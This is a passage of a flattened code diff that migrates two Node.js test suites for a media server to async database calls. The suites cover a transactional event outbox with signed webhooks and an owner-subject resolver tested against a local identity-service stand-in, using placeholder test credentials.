outbox.enqueue;++ const failOutboxInserts = (on) => { outbox.enqueue = on ? async () => { throw new Error('outbox insert failed'); } : realEnqueue; };-- raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds)-- VALUES (10, 'live', 5, 'Source', ?, 1, 60)`).run(path.join(process.env.VOD_PATH, 'missing.webm'));-- const clipId = Number(db.createClip({ app_id: 'live', vod_id: 10, user_id: 5, channel_user_id: 5, title: 'A clip', file_path: '', start_time: 1, end_time: 5, duration_seconds: 4, status: 'processing' }).lastInsertRowid);-- const { clipPublic } = require('../server/vod/clips-routes');-- const clipStatus = () => raw.prepare('SELECT status FROM clips WHERE id = ?').get(clipId).status;++ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) OVERRIDING SYSTEM VALUE++ VALUES (10, 'live', 5, 'Source', ?, 1, 60) RETURNING id`).run(path.join(process.env.VOD_PATH, 'missing.webm'));++ const clipId = Number((await db.createClip({ app_id: 'live', vod_id: 10, user_id: 5, channel_user_id: 5, title: 'A clip', file_path: '', start_time: 1, end_time: 5, duration_seconds: 4, status: 'processing' })).lastInsertRowid);++ const { clipPublic } = require('../server/vod/clips-routes');++ const clipStatus = async () => (await raw.prepare('SELECT status FROM clips WHERE id = ?').get(clipId)).status;-- // 1. The change and its event commit together; the webhook carries the same event_id.-- const out = announce('live', 'clip.ready', {-- change: () => db.run("UPDATE clips SET status = 'ready' WHERE id = ?", [clipId]),-- payload: () => clipPublic(db.getClipById(clipId)),-- });-- assert.strictEqual(clipStatus(), 'ready');-- let rows = outboxRows();-- assert.strictEqual(rows.length, 1);-- assert.strictEqual(rows[0].env.event_type, 'media.clip.ready');-- assert.deepStrictEqual(rows[0].env.subject, { type: 'clip', id: String(clipId) });-- assert.strictEqual(rows[0].env.payload.status, 'ready', 'payload is the row as committed');-- assert.strictEqual(out.eventId, rows[0].id);-- assert.ok(await waitFor(() => hooks.length === 1), 'webhook sent after the commit');-- const hook = JSON.parse(hooks[0].body);-- assert.strictEqual(hook.event, 'clip.ready');-- assert.strictEqual(hook.event_id, rows[0].id, 'the webhook names the durable event');-- const sig = 'sha256=' + crypto.createHmac('sha256', 'hook-secret').update(hooks[0].body).digest('hex');-- assert.strictEqual(hooks[0].signature, sig, 'the signature covers event_id');++ // 1. The change and its event commit together; the webhook carries the same event_id.++ const out = await announce('live', 'clip.ready', {++ change: async () => await db.run("UPDATE clips SET status = 'ready' WHERE id = ?", [clipId]),++ payload: async () => await clipPublic(await db.getClipById(clipId)),++ });++ assert.strictEqual(await clipStatus(), 'ready');++ let rows = await outboxRows();++ assert.strictEqual(rows.length, 1);++ assert.strictEqual(rows[0].env.event_type, 'media.clip.ready');++ assert.deepStrictEqual(rows[0].env.subject, { type: 'clip', id: String(clipId) });++ assert.strictEqual(rows[0].env.payload.status, 'ready', 'payload is the row as committed');++ assert.strictEqual(out.eventId, rows[0].id);++ assert.ok(await waitFor(() => hooks.length === 1), 'webhook sent after the commit');++ const hook = JSON.parse(hooks[0].body);++ assert.strictEqual(hook.event, 'clip.ready');++ assert.strictEqual(hook.event_id, rows[0].id, 'the webhook names the durable event');++ const sig = 'sha256=' + crypto.createHmac('sha256', 'hook-secret').update(hooks[0].body).digest('hex');++ assert.strictEqual(hooks[0].signature, sig, 'the signature covers event_id');-- // 2. No phantom: a change that fails leaves no event and sends no webhook.-- assert.throws(() => announce('live', 'clip.failed', {-- change: () => { db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]); throw new Error('disk full'); },-- payload: () => clipPublic(db.getClipById(clipId)),-- }), /disk full/);-- assert.strictEqual(clipStatus(), 'ready', 'the change rolled back');-- assert.strictEqual(outboxRows().length, 1, 'no event for a rolled-back change');++ // 2. No phantom: a change that fails leaves no event and sends no webhook.++ await assert.rejects(async () => await announce('live', 'clip.failed', {++ change: async () => { await db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]); throw new Error('disk full'); },++ payload: async () => await clipPublic(await db.getClipById(clipId)),++ }), /disk full/);++ assert.strictEqual(await clipStatus(), 'ready', 'the change rolled back');++ assert.strictEqual((await outboxRows()).length, 1, 'no event for a rolled-back change');-- // 3. Never lost: an outbox insert that fails rolls the change back with it.-- failOutboxInserts(true);-- assert.throws(() => announce('live', 'clip.failed', {-- change: () => db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]),-- payload: () => clipPublic(db.getClipById(clipId)),-- }), /outbox insert failed/);-- failOutboxInserts(false);-- assert.strictEqual(clipStatus(), 'ready', 'no committed change without its event');++ // 3. Never lost: an outbox insert that fails rolls the change back with it.++ failOutboxInserts(true);++ await assert.rejects(async () => await announce('live', 'clip.failed', {++ change: async () => await db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]),++ payload: async () => await clipPublic(await db.getClipById(clipId)),++ }), /outbox insert failed/);++ failOutboxInserts(false);++ assert.strictEqual(await clipStatus(), 'ready', 'no committed change without its event');-- // 4. Outside a transaction the outbox refuses (nothing can enqueue "after the commit" again).-- assert.throws(() => events.record('clip.ready', 'live', { id: clipId }), /inside the transaction/);++ // 4. Outside a transaction the outbox refuses (nothing can enqueue "after the commit" again).++ await assert.rejects(async () => await events.record('clip.ready', 'live', { id: clipId }), /inside the transaction/);-- // 5. Real call site: a re-cut whose source is gone commits status=failed with media.clip.failed.-- const clipJobs = require('../server/vod/clip-jobs');-- db.run("UPDATE clips SET status = 'failed', cut_attempts = 1 WHERE id = ?", [clipId]);-- failOutboxInserts(true);-- await assert.rejects(clipJobs.recutClip(clipId, { reason: 'test' }), /outbox insert failed/);-- failOutboxInserts(false);-- assert.strictEqual(raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId).cut_error, null, 'the failure was not recorded without its event');-- assert.strictEqual(outboxRows().length, 1);-- const r = await clipJobs.recutClip(clipId, { reason: 'test' });-- assert.strictEqual(r.ok, false);-- rows = outboxRows();-- assert.strictEqual(rows.length, 2);-- assert.strictEqual(rows[1].env.event_type, 'media.clip.failed');-- assert.strictEqual(rows[1].env.payload.status, 'failed');-- assert.match(raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId).cut_error, /unavailable/);++ // 5. Real call site: a re-cut whose source is gone commits status=failed with media.clip.failed.++ const clipJobs = require('../server/vod/clip-jobs');++ await db.run("UPDATE clips SET status = 'failed', cut_attempts = 1 WHERE id = ?", [clipId]);++ failOutboxInserts(true);++ await assert.rejects(clipJobs.recutClip(clipId, { reason: 'test' }), /outbox insert failed/);++ failOutboxInserts(false);++ assert.strictEqual((await raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId)).cut_error, null, 'the failure was not recorded without its event');++ assert.strictEqual((await outboxRows()).length, 1);++ const r = await clipJobs.recutClip(clipId, { reason: 'test' });++ assert.strictEqual(r.ok, false);++ rows = await outboxRows();++ assert.strictEqual(rows.length, 2);++ assert.strictEqual(rows[1].env.event_type, 'media.clip.failed');++ assert.strictEqual(rows[1].env.payload.status, 'failed');++ assert.match((await raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId)).cut_error, /unavailable/);-- // 6. Real call site: finalizing a VOD with no recording file deletes the row and queues-- // media.vod.failed in one transaction; if the event cannot be queued the row stays.-- const { finalizeVod } = require('../server/vod/finalize');-- raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, is_recording)-- VALUES (20, 'live', 5, 'Ghost', ?, 1, 1)`).run(path.join(process.env.VOD_PATH, 'never-written.webm'));-- failOutboxInserts(true);-- await finalizeVod(20);-- failOutboxInserts(false);-- assert.ok(raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'not deleted without its vod.failed event');-- assert.strictEqual(outboxRows().length, 2);-- await finalizeVod(20);-- assert.ok(!raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'deleted');-- rows = outboxRows();-- // The row's object is marked deleted by the row-delete trigger in the same transaction, so its-- // media.object.deleted is queued with media.vod.failed.-- assert.strictEqual(rows.length, 4);-- assert.strictEqual(rows[3].env.event_type, 'media.object.deleted');-- assert.strictEqual(rows[3].env.payload.legacy_ref, 'legacy:live:vod:20');-- assert.strictEqual(rows[2].env.event_type, 'media.vod.failed');-- assert.deepStrictEqual(rows[2].env.subject, { type: 'vod', id: '20' });-- assert.strictEqual(rows[2].env.priority, 'important');-- assert.ok(await waitFor(() => hooks.some((h) => JSON.parse(h.body).event_id === rows[2].id)), 'vod.failed webhook names the event');++ // 6. Real call site: finalizing a VOD with no recording file deletes the row and queues++ // media.vod.failed in one transaction; if the event cannot be queued the row stays.++ const { finalizeVod } = require('../server/vod/finalize');++ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, is_recording) OVERRIDING SYSTEM VALUE++ VALUES (20, 'live', 5, 'Ghost', ?, 1, 1) RETURNING id`).run(path.join(process.env.VOD_PATH, 'never-written.webm'));++ failOutboxInserts(true);++ await finalizeVod(20);++ failOutboxInserts(false);++ assert.ok(await raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'not deleted without its vod.failed event');++ assert.strictEqual((await outboxRows()).length, 2);++ await finalizeVod(20);++ assert.ok(!await raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'deleted');++ rows = await outboxRows();++ // The row's object is marked deleted by the row-delete trigger in the same transaction, so its++ // media.object.deleted is queued with media.vod.failed.++ assert.strictEqual(rows.length, 4);++ assert.strictEqual(rows[3].env.event_type, 'media.object.deleted');++ assert.strictEqual(rows[3].env.payload.legacy_ref, 'legacy:live:vod:20');++ assert.strictEqual(rows[2].env.event_type, 'media.vod.failed');++ assert.deepStrictEqual(rows[2].env.subject, { type: 'vod', id: '20' });++ assert.strictEqual(rows[2].env.priority, 'important');++ assert.ok(await waitFor(() => hooks.some((h) => JSON.parse(h.body).event_id === rows[2].id)), 'vod.failed webhook names the event');-- events._reset();-- stub.close();-- console.log('✅ media outbox: state change and event commit together (no lost or phantom outcome), webhook carries event_id');-- process.exit(0);++ events._reset();++ stub.close();++ console.log('✅ media outbox: state change and event commit together (no lost or phantom outcome), webhook carries event_id');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -1,294 +1,189 @@'use strict';--// Owner subjects (server/objects/owner-subject.js, scripts/backfill-owner-subject.js,--// server/objects/owner-subject-job.js) against an in-process Network stand-in that answers--// /oauth/token and /internal/identity/resolve-batch like Network does: the dry run changes nothing;--// --apply takes a verified database backup and writes a rollback file first, then fills only NULLs in--// batches; an id Network does not know stays NULL; tenants with no source system are left alone;--// --rollback restores only the rows still as the backfill left them; the service token is preferred--// and the internal key is the fallback; and new objects get their subject (X-OV-Subject at creation,--// the reconcile job for everything else), with a re-projection to another owner dropping it.++// Owner subjects (server/objects/owner-subject.js, server/objects/owner-subject-job.js) against an++// in-process Network stand-in that answers /oauth/token and /internal/identity/resolve-batch like Network++// does: the service token is preferred and the internal key is the fallback; and new objects get their++// subject (X-OV-Subject at creation, the reconcile job for everything else), with a re-projection to++// another owner dropping it.const assert = require('assert');const fs = require('fs');const os = require('os');const path = require('path');const http = require('http');--const { execFile } = require('child_process');const { ids } = require('openvibe-contracts');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-owner-subject-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const env = {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),-- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', MEDIA_SIGNING_SECRET: 'test-signing-secret',-- INTERNAL_API_KEY: 'internal-key-0123456789abcdef', OV_OAUTH_CLIENT_ID: 'media', OV_OAUTH_CLIENT_SECRET: 'media-secret',--};--for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_OWNER_SUBJECT_SYNC']) process.env[k] = '';--Object.assign(process.env, env);----// ── Network stand-in ─────────────────────────────────────────--const net = {-- grant: true, // does 'media' hold identity.subject.resolve?-- map: new Map(), // 'live:<id>' -> usr_…-- calls: [], // { via, system, n }-- tokens: 0,-- down: false,--};--const network = http.createServer((req, res) => {-- let raw = '';-- req.on('data', (c) => { raw += c; });-- req.on('end', () => {-- const send = (status, body) => { res.writeHead(status, { 'content-type': 'application/json' }); res.end(JSON.stringify(body)); };-- if (net.down) return send(503, { error: 'down' });-- if (req.method === 'POST' && req.url === '/oauth/token') {-- const f = new URLSearchParams(raw);-- if (f.get('client_id') !== 'media' || f.get('client_secret') !== 'media-secret') return send(401, { error: 'invalid_client' });-- if (f.get('audience') !== 'openvibe.network' || f.get('scope') !== 'identity.subject.resolve') return send(400, { error: 'invalid_request' });-- if (!net.grant) return send(400, { error: 'invalid_scope', error_description: 'not granted: identity.subject.resolve' });-- net.tokens++;-- return send(200, { access_token: 'svc-media-token', token_type: 'Bearer', expires_in: 300, scope: 'identity.subject.resolve' });-- }-- if (req.method === 'POST' && req.url === '/internal/identity/resolve-batch') {-- const bearer = String(req.headers.authorization || '');-- const via = req.headers['x-internal-key'] === env.INTERNAL_API_KEY ? 'internal-key' : (bearer === 'Bearer svc-media-token' && net.grant ? 'service-token' : null);-- if (!via) return send(403, { error: 'Invalid or missing internal key' });-- const b = JSON.parse(raw || '{}');-- if (!Array.isArray(b.ids) || !b.ids.length || !b.system) return send(400, { code: 'identity.bad_request' });-- if (b.ids.length > 500) return send(413, { code: 'identity.too_many_entries' });-- net.calls.push({ via, system: b.system, type: b.type, n: b.ids.length });-- const results = {};-- for (const id of b.ids) {-- const sid = net.map.get(`${b.system}:${id}`);-- results[String(id)] = sid ? { subject: { type: 'user', id: sid }, network_user_id: 1, username: `u${id}`, legacy_ids: [] } : null;++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-owner-subject-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ const env = {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),++ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', MEDIA_SIGNING_SECRET: 'test-signing-secret',++ INTERNAL_API_KEY: 'internal-key-0123456789abcdef', OV_OAUTH_CLIENT_ID: 'media', OV_OAUTH_CLIENT_SECRET: 'media-secret',++ };++ for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_OWNER_SUBJECT_SYNC']) process.env[k] = '';++ Object.assign(process.env, env);++++ // ── Network stand-in ─────────────────────────────────────────++ const net = {++ grant: true, // does 'media' hold identity.subject.resolve?++ map: new Map(), // 'live:<id>' -> usr_…++ calls: [], // { via, system, n }++ tokens: 0,++ down: false,++ };++ const network = http.createServer((req, res) => {++ let raw = '';++ req.on('data', (c) => { raw += c; });++ req.on('end', () => {++ const send = (status, body) => { res.writeHead(status, { 'content-type': 'application/json' }); res.end(JSON.stringify(body)); };++ if (net.down) return send(503, { error: 'down' });++ if (req.method === 'POST' && req.url === '/oauth/token') {++ const f = new URLSearchParams(raw);++ if (f.get('client_id') !== 'media' || f.get('client_secret') !== 'media-secret') return send(401, { error: 'invalid_client' });++ if (f.get('audience') !== 'openvibe.network' || f.get('scope') !== 'identity.subject.resolve') return send(400, { error: 'invalid_request' });++ if (!net.grant) return send(400, { error: 'invalid_scope', error_description: 'not granted: identity.subject.resolve' });++ net.tokens++;++ return send(200, { access_token: 'svc-media-token', token_type: 'Bearer', expires_in: 300, scope: 'identity.subject.resolve' });}-- return send(200, { results });-- }-- send(404, { error: 'Not found' });-- });--});----const db = require('../server/db/database');--const model = require('../server/objects/model');--const ownerSubject = require('../server/objects/owner-subject');--const job = require('../server/objects/owner-subject-job');--const config = require('../server/config');--const Database = require('better-sqlite3');----const SCRIPT = path.join(__dirname, '..', 'scripts', 'backfill-owner-subject.js');--const subjectOf = (uid) => { const s = ids.newId('user', 1700000000000 + uid); net.map.set(`live:${uid}`, s); return s; };--const obj = (o) => model.createObject({ app_id: 'live', owner_app: 'live', kind: 'file', lifecycle_status: 'ready', ...o });--const row = (id) => db.get('SELECT * FROM media_objects WHERE id = ?', [id]);--const snapshot = () => db.all('SELECT id, owner_subject, owner_app, owner_user_id, updated_at FROM media_objects ORDER BY id');----function runScript(args, extraEnv = {}) {-- return new Promise((resolve) => {-- execFile(process.execPath, [SCRIPT, ...args], { env: { ...process.env, ...extraEnv }, cwd: tmp }, (err, stdout, stderr) => {-- resolve({ code: err ? err.code : 0, stdout, stderr });++ if (req.method === 'POST' && req.url === '/internal/identity/resolve-batch') {++ const bearer = String(req.headers.authorization || '');++ const via = req.headers['x-internal-key'] === env.INTERNAL_API_KEY ? 'internal-key' : (bearer === 'Bearer svc-media-token' && net.grant ? 'service-token' : null);++ if (!via) return send(403, { error: 'Invalid or missing internal key' });++ const b = JSON.parse(raw || '{}');++ if (!Array.isArray(b.ids) || !b.ids.length || !b.system) return send(400, { code: 'identity.bad_request' });++ if (b.ids.length > 500) return send(413, { code: 'identity.too_many_entries' });++ net.calls.push({ via, system: b.system, type: b.type, n: b.ids.length });++ const results = {};++ for (const id of b.ids) {++ const sid = net.map.get(`${b.system}:${id}`);++ results[String(id)] = sid ? { subject: { type: 'user', id: sid }, network_user_id: 1, username: `u${id}`, legacy_ids: [] } : null;++ }++ return send(200, { results });++ }++ send(404, { error: 'Not found' });});});--}----(async () => {-- await new Promise((r) => network.listen(0, '127.0.0.1', r));-- const NET = `http://127.0.0.1:${network.address().port}`;-- process.env.OV_NETWORK_INTERNAL_URL = NET;-- config.network.internalUrl = NET;---- // ── Fixture ──-- const s12 = subjectOf(12), s13 = subjectOf(13);-- const preset = ids.newId('user');-- const o = {-- a: obj({ owner_user_id: 12 }),-- b: obj({ owner_user_id: 12, kind: 'thumbnail' }),-- c: obj({ owner_user_id: 13, kind: 'screenshot' }),-- presetDifferent: obj({ owner_user_id: 12, owner_subject: preset }), // never overwritten, even though Network says s12-- unknown: obj({ owner_user_id: 99 }), // Network has no subject for live user 99-- noOwner: obj({ app_id: 'community', owner_app: 'community' }),-- games: obj({ app_id: 'games', owner_app: 'games', owner_user_id: 12 }), // no source system for games ids-- };-- // 520 more owners: more than one resolve-batch call (500 ids at most per call).-- const many = [];-- for (let uid = 1000; uid < 1520; uid++) { subjectOf(uid); many.push(obj({ owner_user_id: uid, kind: 'clip' })); }-- const TO_FILL = 3 + many.length;---- // ── Dry run: asks Network, changes nothing ──-- let before = snapshot();-- let r = await runScript(['--json']);-- assert.strictEqual(r.code, 0, r.stderr);-- let rep = JSON.parse(r.stdout);-- assert.strictEqual(rep.mode, 'dry-run');-- assert.strictEqual(rep.via, 'service-token', 'the service token is preferred');-- assert.deepStrictEqual(rep.per_app.live, { to_fill: TO_FILL, unresolvable: 1, unsupported: 0 });-- assert.deepStrictEqual(rep.per_app.games, { to_fill: 0, unresolvable: 0, unsupported: 1 });-- assert.deepStrictEqual([rep.before.live.already_set, rep.before.community.no_owner], [1, 1]);-- assert.deepStrictEqual([rep.totals.to_fill, rep.totals.unresolvable, rep.totals.unsupported, rep.totals.already_set], [TO_FILL, 1, 1, 1]);-- assert.deepStrictEqual(rep.unresolvable_owners, [{ owner_app: 'live', owner_user_id: 99, objects: 1 }]);-- assert.ok(net.calls.length >= 2 && net.calls.every(c => c.n <= 500 && c.system === 'live' && c.type === 'user'), JSON.stringify(net.calls));-- assert.deepStrictEqual(snapshot(), before, 'a dry run changes nothing');-- assert.deepStrictEqual(fs.readdirSync(tmp).filter(f => /json|backup/.test(f)), [], 'and writes no file');-- r = await runScript([]);-- assert.strictEqual(r.code, 0, r.stderr);-- assert.match(r.stdout, /live\s+\d+\s+1\s+523\s+1\s+0\s+0/, r.stdout);-- assert.match(r.stdout, /Unresolvable owners .*live:99 \(1\)/);-- assert.match(r.stdout, /Dry run: nothing was changed/);-- console.log('✅ dry run: per-tenant counts (to fill, already set, unresolvable, unsupported, no owner), nothing written');---- // ── --apply needs --backup ──-- r = await runScript(['--apply']);-- assert.strictEqual(r.code, 2); assert.match(r.stderr, /--apply needs --backup/);-- assert.deepStrictEqual(snapshot(), before);---- // ── Apply: backup first, then only NULLs, in batches ──-- const backup = path.join(tmp, 'backups', 'owner-subject-1.json');-- net.calls.length = 0;-- r = await runScript(['--apply', '--backup', backup, '--batch', '200', '--json']);-- assert.strictEqual(r.code, 0, r.stderr);-- const lines = r.stdout.slice(r.stdout.indexOf('{'));-- rep = JSON.parse(lines);-- assert.deepStrictEqual([rep.applied, rep.skipped, rep.batches], [TO_FILL, 0, Math.ceil(TO_FILL / 200)]);-- assert.strictEqual(rep.db_backup.integrity_check, 'ok');-- assert.strictEqual(rep.db_backup.objects, before.length, 'the copy was taken before the fill');-- const copy = new Database(rep.db_backup.path, { readonly: true });-- assert.strictEqual(copy.prepare('SELECT count(*) AS n FROM media_objects WHERE owner_subject IS NOT NULL').get().n, 1, 'the copy is the pre-fill state');-- copy.close();-- assert.strictEqual(fs.statSync(backup).mode & 0o777, 0o600);-- assert.strictEqual(fs.statSync(rep.db_backup.path).mode & 0o777, 0o600);-- assert.strictEqual(rep.db_backup.path, path.join(tmp, 'backups', 'owner-subject-1.media.db'));-- assert.deepStrictEqual([row(o.a).owner_subject, row(o.b).owner_subject, row(o.c).owner_subject], [s12, s12, s13]);-- assert.strictEqual(row(many[0]).owner_subject, net.map.get('live:1000'));-- assert.strictEqual(row(o.presetDifferent).owner_subject, preset, 'a non-null owner_subject is never overwritten');-- assert.strictEqual(row(o.unknown).owner_subject, null, 'an unresolvable id stays NULL');-- assert.strictEqual(row(o.games).owner_subject, null, 'a tenant with no source system is left alone');-- assert.strictEqual(row(o.noOwner).owner_subject, null);-- const manifest = JSON.parse(fs.readFileSync(backup, 'utf8'));-- assert.deepStrictEqual([manifest.kind, manifest.status, manifest.rows.length], ['media.owner_subject.backfill', 'applied', TO_FILL]);-- assert.deepStrictEqual(manifest.rows.find(x => x.id === o.a), { id: o.a, app_id: 'live', owner_app: 'live', owner_user_id: 12, owner_subject: s12 });-- assert.ok(!manifest.rows.some(x => [o.presetDifferent, o.unknown, o.games, o.noOwner].includes(x.id)), 'only the rows it changed');-- console.log('✅ --apply: verified online backup + rollback file first, then fills only NULLs in 200-row batches; unknown ids stay NULL');---- // ── Idempotent: a second run has nothing to fill (and needs no new backup) ──-- r = await runScript(['--apply', '--backup', backup]);-- assert.strictEqual(r.code, 0, r.stderr);-- assert.match(r.stdout, /Nothing to fill/);-- // A fill with a backup name already used is refused before anything changes.-- const late = obj({ owner_user_id: 13 });-- r = await runScript(['--apply', '--backup', backup]);-- assert.strictEqual(r.code, 2); assert.match(r.stderr, /already exists/);-- assert.strictEqual(row(late).owner_subject, null);---- // ── Rollback: only rows still as the backfill left them ──-- const other = ids.newId('user');-- db.run('UPDATE media_objects SET owner_subject = ? WHERE id = ?', [other, o.b]); // changed since the backfill-- const beforeRb = snapshot();-- r = await runScript(['--rollback', backup, '--json']);-- assert.strictEqual(r.code, 0, r.stderr);-- rep = JSON.parse(r.stdout.slice(r.stdout.indexOf('{')));-- assert.deepStrictEqual([rep.mode, rep.restored, rep.changed_since, rep.missing], ['rollback-dry-run', TO_FILL - 1, 1, 0]);-- assert.deepStrictEqual(rep.changed_since_ids, [o.b]);-- assert.deepStrictEqual(snapshot(), beforeRb, 'a rollback without --apply changes nothing');-- r = await runScript(['--rollback', backup, '--apply']);-- assert.strictEqual(r.code, 0, r.stderr);-- assert.match(r.stdout, new RegExp(`Restored ${TO_FILL - 1} .*; 1 changed since`));-- assert.deepStrictEqual([row(o.a).owner_subject, row(o.c).owner_subject, row(many[519]).owner_subject], [null, null, null]);-- assert.strictEqual(row(o.b).owner_subject, other, 'a row changed since is left alone');-- assert.strictEqual(row(o.presetDifferent).owner_subject, preset, 'rows the backfill did not change are untouched');-- console.log('✅ --rollback: dry by default, restores only the rows still carrying the backfilled subject');---- // ── Fallback: no grant yet -> the internal key ──-- net.grant = false; net.calls.length = 0;-- r = await runScript(['--json']);-- assert.strictEqual(r.code, 0, r.stderr);-- rep = JSON.parse(r.stdout);-- assert.strictEqual(rep.via, 'internal-key');-- assert.ok(net.calls.length && net.calls.every(c => c.via === 'internal-key'));-- r = await runScript(['--json'], { INTERNAL_API_KEY: '' });-- assert.strictEqual(r.code, 1, 'neither credential works: an error, not "unresolvable"');-- assert.match(r.stderr, /no service token for identity\.subject\.resolve .* and no INTERNAL_API_KEY/);-- net.down = true;-- r = await runScript([]);-- assert.strictEqual(r.code, 1); assert.match(r.stderr, /Network resolve-batch 503|token endpoint 503/);-- net.down = false; net.grant = true;-- // A token Network refuses at resolve-batch: the key answers instead.-- const resolver = ownerSubject.createResolver({ networkUrl: NET });-- net.grant = true;-- let got = await resolver.resolve('live', ['12', '99', 12]);-- assert.deepStrictEqual([...got.entries()], [['12', s12], ['99', null]]);-- assert.strictEqual(resolver.state.via, 'service-token');-- const tokenOnly = ownerSubject.createResolver({ networkUrl: NET, internalKey: '' });-- net.grant = false;-- await assert.rejects(tokenOnly.resolve('live', ['12']), /no service token/);-- net.grant = true;-- console.log('✅ Network auth: service token first, INTERNAL_API_KEY when Network has not granted it; failures are errors');---- // ── New objects: X-OV-Subject at creation ──-- const express = require('express');-- db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- const app = express();-- app.use(express.json());-- app.use('/api/v2/:app/objects', require('../server/objects/routes'));-- const server = http.createServer(app);-- await new Promise((res) => server.listen(0, '127.0.0.1', res));-- const base = `http://127.0.0.1:${server.address().port}`;-- const post = (headers, body) => fetch(`${base}/api/v2/live/objects`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', ...headers }, body: JSON.stringify(body) }).then(async x => ({ status: x.status, body: await x.json() }));-- let p = await post({ 'x-ov-subject': `user:${s13}` }, { kind: 'file', size_bytes: 3, user_id: 13 });-- assert.strictEqual(p.status, 201, JSON.stringify(p.body));-- assert.strictEqual(row(p.body.id).owner_subject, s13, 'X-OV-Subject is stored at creation');-- p = await post({}, { kind: 'file', size_bytes: 3, user_id: 12 });-- const userOnly = p.body.id;-- assert.deepStrictEqual([row(userOnly).owner_subject, row(userOnly).owner_user_id], [null, 12]);---- // ── New objects: the reconcile job fills the rest (projections included) ──-- const clipId = db.createClip({ app_id: 'live', user_id: 13, channel_user_id: 12, title: 'c', file_path: path.join(env.CLIPS_PATH, 'c.webm'), start_time: 0, end_time: 5 }).lastInsertRowid;-- const clipObj = db.get('SELECT object_id FROM clips WHERE id = ?', [clipId]).object_id;-- assert.ok(clipObj && row(clipObj).owner_subject === null && row(clipObj).owner_user_id === 13);-- net.calls.length = 0;-- const jr = await job.runOnce();-- assert.ok(jr && jr.filled >= 3, JSON.stringify(jr));-- assert.strictEqual(jr.via, 'service-token');-- assert.deepStrictEqual([row(userOnly).owner_subject, row(clipObj).owner_subject, row(late).owner_subject], [s12, s13, s13]);-- assert.strictEqual(row(o.a).owner_subject, s12, 'the job also refills rows a rollback cleared (so it is turned off before one)');-- assert.strictEqual(row(o.unknown).owner_subject, null);-- assert.strictEqual(row(o.b).owner_subject, other, 'never over a non-null value');-- // Network learns live user 99 later: the next run fills it.-- const s99 = subjectOf(99);-- assert.strictEqual((await job.runOnce()).filled, 1);-- assert.strictEqual(row(o.unknown).owner_subject, s99);-- // Nothing left to fill: a run asks Network nothing (games 12 is the only pending owner and has no source system).-- net.calls.length = 0;-- assert.deepStrictEqual(await job.runOnce(), { owners: 1, filled: 0, skipped: 0, unresolvable: 0, unsupported: 1, via: null });-- assert.strictEqual(net.calls.length, 0);-- // Network down: the run fails quietly and the next one retries.-- net.down = true;-- const quiet = console.warn; console.warn = () => {};-- obj({ owner_user_id: 12 });-- assert.strictEqual(await job.runOnce(), null);-- console.warn = quiet;-- assert.match(job.status().last_error, /503/);-- net.down = false;-- assert.strictEqual((await job.runOnce()).filled, 1);---- // A re-projection keeps the subject; a re-projection to another owner drops it until the job resolves the new one.-- model.sync('clip', clipId);-- assert.strictEqual(row(clipObj).owner_subject, s13);-- db.run('UPDATE clips SET user_id = 12 WHERE id = ?', [clipId]);-- model.sync('clip', clipId);-- assert.deepStrictEqual([row(clipObj).owner_user_id, row(clipObj).owner_subject], [12, null]);-- await job.runOnce();-- assert.strictEqual(row(clipObj).owner_subject, s12);-- // The v2 object's public shape carries it (what Live's lineage resolver reads: owner.subject).-- assert.strictEqual(model.objectPublic(row(clipObj)).owner.subject, s12);---- // MEDIA_OWNER_SUBJECT_SYNC=0 keeps the job off.-- config.ownerSubject.enabled = false;-- const said = console.log; console.log = () => {};-- assert.strictEqual(job.start(), false);-- console.log = said;-- config.ownerSubject.enabled = true;-- console.log('✅ new objects: X-OV-Subject stored at creation; the reconcile job fills the rest, re-projection keeps or drops it');-- server.close(); network.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('owner-subject: all checks passed');-- process.exit(0);++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const ownerSubject = require('../server/objects/owner-subject');++ const job = 